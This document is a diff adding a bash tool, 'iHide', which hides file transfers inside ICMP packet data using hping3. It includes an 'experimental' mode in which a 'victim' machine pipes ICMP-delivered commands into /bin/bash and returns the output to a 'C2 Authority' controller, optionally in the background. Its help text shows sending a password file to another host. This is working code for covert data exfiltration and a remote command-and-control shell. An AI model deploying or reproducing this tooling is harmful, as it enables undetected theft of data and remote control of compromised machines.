|
| 1 | +#!/bin/bash |
| 2 | +OPTIND=1 |
| 3 | +function cleanup { |
| 4 | +rm /tmp/temp -f |
| 5 | +kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null |
| 6 | +exit |
| 7 | +} |
| 8 | +function icmpreceive { |
| 9 | +if [[ "$arg" != *-e* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-i* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-r* ]]; then |
| 10 | + echo "Not enough flags/switches" |
| 11 | + echo "Run the -h command to view the help file" |
| 12 | + echo "Required flags: e,s,g,i,f,r" |
| 13 | + exit |
| 14 | + else |
| 15 | + hping3 $sflag --listen $signature -I $iface > /tmp/temp & |
| 16 | + if tail -f -n 1 -c 5 /tmp/temp | grep -m 1 -o --line-buffered $eof; then |
| 17 | + #kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null |
| 18 | + base64 -d /tmp/temp > $file |
| 19 | + #cp /tmp/temp $file |
| 20 | + sed -i "s/[\x0].*//g" $file; sed -i "/$eof.*/q" $file; sed -i "/$eof/d" $file |
| 21 | + cleanup |
| 22 | + fi |
| 23 | +fi |
| 24 | +} |
| 25 | +function icmptransfer { |
| 26 | +if [[ "$arg" != *-d* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-z* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-t* ]]; then |
| 27 | + echo "Not enough flags/switches" |
| 28 | + echo "Run the -h command to view the help file" |
| 29 | + echo "Required flags: d,s,f,z,c,t" |
| 30 | + exit |
| 31 | + else |
| 32 | + eof_string=$(cat /dev/urandom | tr -dc '_A-Z-a-z-0-9' | head -c 8) |
| 33 | + echo "EOF String: $eof_string ; use with the -e flag w/receiver" |
| 34 | + echo -n "Press any key to continue..." |
| 35 | + read |
| 36 | + base64 -w 60 $file > /tmp/temp |
| 37 | + #cp $file /tmp/temp -f |
| 38 | + echo $eof_string >> /tmp/temp |
| 39 | + echo "Transferring data. The receiver script will exit when finished." |
| 40 | + if hping3 $dflag --icmp --sign $sflag --file /tmp/temp -d $size -u -C $code 2>&1 | grep -q -o --line-buffered -m 1 EOF; then |
| 41 | + echo EOF Reached |
| 42 | + cleanup |
| 43 | + fi |
| 44 | +fi |
| 45 | +} |
| 46 | +function icmpcontrol { |
| 47 | +if [[ "$arg" != *-i* ]] || [[ "$arg" != *-j* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-d* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-k* ]]; then |
| 48 | + echo "Not enough flags/switches" |
| 49 | + echo "Run the -h command to view the help file" |
| 50 | + echo "Required flags: i,j,s,d,g,c,k" |
| 51 | + exit |
| 52 | +else |
| 53 | + hping3 -I $iface --listen $control_signature & hping3 $sflag --icmp --sign $signature --file ${VAR:-/dev/stdin} -d $dflag -C $code |
| 54 | +fi |
| 55 | +} |
| 56 | +function icmpvictim { |
| 57 | +if [[ "$arg" != *-i* ]] || [[ "$arg" != *-j* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-d* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-c* ]] || [[ "$arg" != *-m* ]]; then |
| 58 | + echo "Not enough flags/switches" |
| 59 | + echo "Run the -h command to view the help file" |
| 60 | + echo "Required flags: i,j,s,d,g,c,m" |
| 61 | + exit |
| 62 | +else |
| 63 | + if [[ $background == true ]]; then |
| 64 | + (hping3 -I $iface --listen $signature | /bin/bash 2>&1 | hping3 $sflag --icmp --sign $control_signature --file ${VAR:-/dev/stdin} -d $dflag -C $code &) |
| 65 | + else |
| 66 | + hping3 -I $iface --listen $signature | /bin/bash 2>&1 | hping3 $sflag --icmp --sign $control_signature --file ${VAR:-/dev/stdin} -d $dflag -C $code |
| 67 | + fi |
| 68 | +fi |
| 69 | +} |
| 70 | +function helpmenu { |
| 71 | +echo " |
| 72 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| 73 | +++++++++++++++++++++iHide: ICMP File Transfer and Receiving++++++++++++++++++++ |
| 74 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| 75 | +-h ----- This help mess |
| 76 | +-l ----- List the ICMP Types |
| 77 | +-v ----- version/about |
| 78 | +-a ----- auto cleanup |
| 79 | +*************Transmit Options************* |
| 80 | +-d ----- Destination server IP |
| 81 | +-s ----- Data stream signature |
| 82 | +-f ----- Input file to send |
| 83 | +-z ----- Data frame size |
| 84 | +-c ----- ICMP code |
| 85 | +-t ----- Transfer mode |
| 86 | +*************Receive Options************* |
| 87 | +-e ----- EOF string, retrieved from transfer script |
| 88 | +-s ----- The sender IP |
| 89 | +-g ----- The transmitted data's signature |
| 90 | +-i ----- Listening interface |
| 91 | +-f ----- The filename to save the file as |
| 92 | +-r ----- Receive mode |
| 93 | +**********Terminal Mode Options********** |
| 94 | +**************Experimental*************** |
| 95 | +-i ----- listening interface |
| 96 | +-j ----- signature on controller |
| 97 | +-s ----- IP of controller; IP of victim with -k flag |
| 98 | +-d ----- data field size |
| 99 | +-g ----- victim machine signature |
| 100 | +-c ----- ICMP code |
| 101 | +-m ----- This is the victim machine |
| 102 | +-k ----- This is the controller (C2 Authority) |
| 103 | +**************Experimental*************** |
| 104 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| 105 | +Examples: |
| 106 | +----|Transfer|---- |
| 107 | +Required flags: d,s,f,z,c,t |
| 108 | +iHide -d 10.0.1.4 -s sign -f ./passwds -z 48 -c 11 -t |
| 109 | +----|Receiver (On 8.8.8.8 machine from previous ex.)|---- |
| 110 | +Required flags: e,s,g,i,f,r |
| 111 | +iHide -e [eof string] -s 10.0.1.7 -g sign -i eth0 -f saveas.txt -r |
| 112 | +Note1: Prior to sending the traffic, you must have a receiver setup on the destination server |
| 113 | +to catch the ICMP packets. |
| 114 | +Note2: You may need to preceed the scripts with sudo. |
| 115 | +Note3: Use the generated string in the transfer script with the -e flag in the receiver script |
| 116 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" |
| 117 | +} |
| 118 | +function icmptypes { |
| 119 | +echo " |
| 120 | +ICMP TYPE NUMBERS |
| 121 | +The Internet Control Message Protocol (ICMP) has many messages that |
| 122 | +are identified by a "type" field. |
| 123 | + Type 0 — Echo Reply |
| 124 | + Type 1 — Unassigned |
| 125 | + Type 2 — Unassigned |
| 126 | + Type 3 — Destination Unreachable |
| 127 | + Type 4 — Source Quench (Deprecated) |
| 128 | + Type 5 — Redirect |
| 129 | + Type 6 — Alternate Host Address (Deprecated) |
| 130 | + Type 7 — Unassigned |
| 131 | + Type 8 — Echo |
| 132 | + Type 9 — Router Advertisement |
| 133 | + Type 10 — Router Selection |
| 134 | + Type 11 — Time Exceeded |
| 135 | + Type 12 — Parameter Problem |
| 136 | + Type 13 — Timestamp |
| 137 | + Type 14 — Timestamp Reply |
| 138 | + Type 15 — Information Request (Deprecated) |
| 139 | + Type 16 — Information Reply (Deprecated) |
| 140 | + Type 17 — Address Mask Request (Deprecated) |
| 141 | + Type 18 — Address Mask Reply (Deprecated) |
| 142 | + Type 19 — Reserved (for Security) |
| 143 | + Types 20-29 — Reserved (for Robustness Experiment) |
| 144 | + Type 30 — Traceroute (Deprecated) |
| 145 | + Type 31 — Datagram Conversion Error (Deprecated) |
| 146 | + Type 32 — Mobile Host Redirect (Deprecated) |
| 147 | + Type 33 — IPv6 Where-Are-You (Deprecated) |
| 148 | + Type 34 — IPv6 I-Am-Here (Deprecated) |
| 149 | + Type 35 — Mobile Registration Request (Deprecated) |
| 150 | + Type 36 — Mobile Registration Reply (Deprecated) |
| 151 | + Types 37 — Domain Name Request (Deprecated) |
| 152 | + Types 38 — Domain Name Reply (Deprecated) |
| 153 | + Type 39 — SKIP (Deprecated) |
| 154 | + Type 40 — Photuris |
| 155 | + Type 41 — ICMP messages utilized by experimental mobility protocols such as Seamoby |
| 156 | + Types 42-252 — Unassigned |
| 157 | + Type 253 — RFC3692-style Experiment 1 |
| 158 | + Type 254 — RFC3692-style Experiment 2" |
| 159 | + exit |
| 160 | +} |
| 161 | +function versioninfo { |
| 162 | +echo " |
| 163 | +*****************Scavenger***************** |
| 164 | +iHide is a script that leverages the optional data field to |
| 165 | +transmit contents via the ICMP protocol. |
| 166 | +iHide v0.9.0 Copyright (C) 2015 |
| 167 | +This program comes with ABSOLUTELY NO WARRANTY; |
| 168 | +This is free software, and you are welcome to redistribute it |
| 169 | +under certain conditions |
| 170 | +Last Updated: 10/24/2015 |
| 171 | +" |
| 172 | +exit |
| 173 | +} |
| 174 | +arg="$*" |
| 175 | +NUMARGS="$#" |
| 176 | +if [[ "$*" == *"-r"* ]] && [[ "$*" == *"-t"* ]] || [[ "$*" == *"-k"* ]] && [[ "$*" == *"-m"* ]]; then |
| 177 | + echo " |
| 178 | + ======================================================================= |
| 179 | + ERROR: You can only select -t OR -r OR -k OR -m NOT a combination. |
| 180 | + =======================================================================" |
| 181 | + echo "Try -h for the help menu" |
| 182 | + exit |
| 183 | +fi |
| 184 | +if [ $NUMARGS -eq 0 ]; then |
| 185 | + helpmenu |
| 186 | +fi |
| 187 | +while getopts "hvld:s:j:f:c:e:z:g:i:btrkm" option; |
| 188 | +do |
| 189 | + case $option in |
| 190 | + h|\?) helpmenu |
| 191 | + exit;; |
| 192 | + a) cleanup;; |
| 193 | + l) icmptypes;; |
| 194 | + f) if [[ "$OPTARG" = "-" ]]; then |
| 195 | + file="${VAR:-/dev/stdin}" |
| 196 | + stdin="true" |
| 197 | + else |
| 198 | + file="$OPTARG" |
| 199 | + fi;; |
| 200 | + d) dflag="$OPTARG";; |
| 201 | + c) code="$OPTARG";; |
| 202 | + j) control_signature="$OPTARG";; |
| 203 | + g) signature="$OPTARG";; |
| 204 | + s) sflag="$OPTARG";; |
| 205 | + i) iface="$OPTARG";; |
| 206 | + e) eof="$OPTARG";; |
| 207 | + v) versioninfo;; |
| 208 | + z) size="$OPTARG";; |
| 209 | + b) background=true;; |
| 210 | + t) icmptransfer;; |
| 211 | + r) icmpreceive;; |
| 212 | + k) icmpcontrol;; |
| 213 | + m) icmpvictim;; |
| 214 | + esac |
| 215 | +done |
| 216 | +shift $((OPTIND-1)) |
0 commit comments